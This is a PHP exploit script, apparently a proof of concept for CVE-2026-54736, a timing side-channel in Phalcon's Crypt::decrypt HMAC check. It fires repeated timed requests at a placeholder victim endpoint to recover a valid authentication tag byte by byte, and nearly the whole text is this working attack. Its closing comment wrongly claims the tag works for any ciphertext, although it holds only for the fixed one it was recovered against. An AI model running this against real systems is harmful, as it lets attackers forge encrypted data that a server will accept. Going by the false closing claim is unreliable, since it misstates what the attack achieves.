CVE-2026-54736: Phalcon Crypt::decrypt HMAC Timing Side-Channel

<?php
/**
 * Timing-oracle HMAC recovery against Phalcon Crypt::decrypt <= 5.14.0
 *
 * Derived directly from the patch diff (Crypt.zep:246 before/after) and
 * the Keyczar-style attack described in the advisory.
 *
 * Setup: a Phalcon endpoint that accepts a base64-encoded encrypted blob,
 * passes it to Crypt::decrypt, and returns a measurable response-time
 * difference on HMAC mismatch vs. match for each additional correct byte.
 *
 * The attacker fixes the IV and ciphertext so the expected HMAC is
 * constant across all probes, then recovers the tag byte-by-byte.
 */

const HMAC_LEN   = 32;   // SHA-256 raw HMAC = 32 bytes
const TARGET_URL = 'https://victim.example/decrypt';
const SAMPLES    = 150;  // requests per candidate byte (average out jitter)

// Captured IV + ciphertext whose HMAC we want to forge (fixed across all probes)
$fixedIvAndCiphertext = base64_decode('/* captured blob without its HMAC tag */');

function probe(string $ivCipher, string $tagSoFar, int $bytePos, int $candidate, int $samples): float {
    $tag   = $tagSoFar . chr($candidate) . str_repeat("\x00", HMAC_LEN - $bytePos - 1);
    $blob  = base64_encode($ivCipher . $tag);
    $total = 0.0;
    for ($i = 0; $i < $samples; $i++) {
        $ch = curl_init(TARGET_URL);
        curl_setopt_array($ch, [
            CURLOPT_POST           => true,
            CURLOPT_POSTFIELDS     => http_build_query(['data' => $blob]),
            CURLOPT_RETURNTRANSFER => true,
        ]);
        curl_exec($ch);
        $total += curl_getinfo($ch, CURLINFO_TOTAL_TIME);
        curl_close($ch);
    }
    return $total / $samples;
}

$recoveredTag = '';
for ($pos = 0; $pos < HMAC_LEN; $pos++) {
    $best = ['byte' => 0, 'time' => 0.0];
    for ($b = 0; $b < 256; $b++) {
        $t = probe($fixedIvAndCiphertext, $recoveredTag, $pos, $b, SAMPLES);
        if ($t > $best['time']) {
            $best = ['byte' => $b, 'time' => $t];
        }
    }
    $recoveredTag .= chr($best['byte']);
    echo sprintf("Byte %02d: 0x%02x (%.6fs avg)\n", $pos, $best['byte'], $best['time']);
}

echo "Recovered tag (hex): " . bin2hex($recoveredTag) . "\n";
// $recoveredTag can now be appended to any IV+ciphertext to pass decrypt()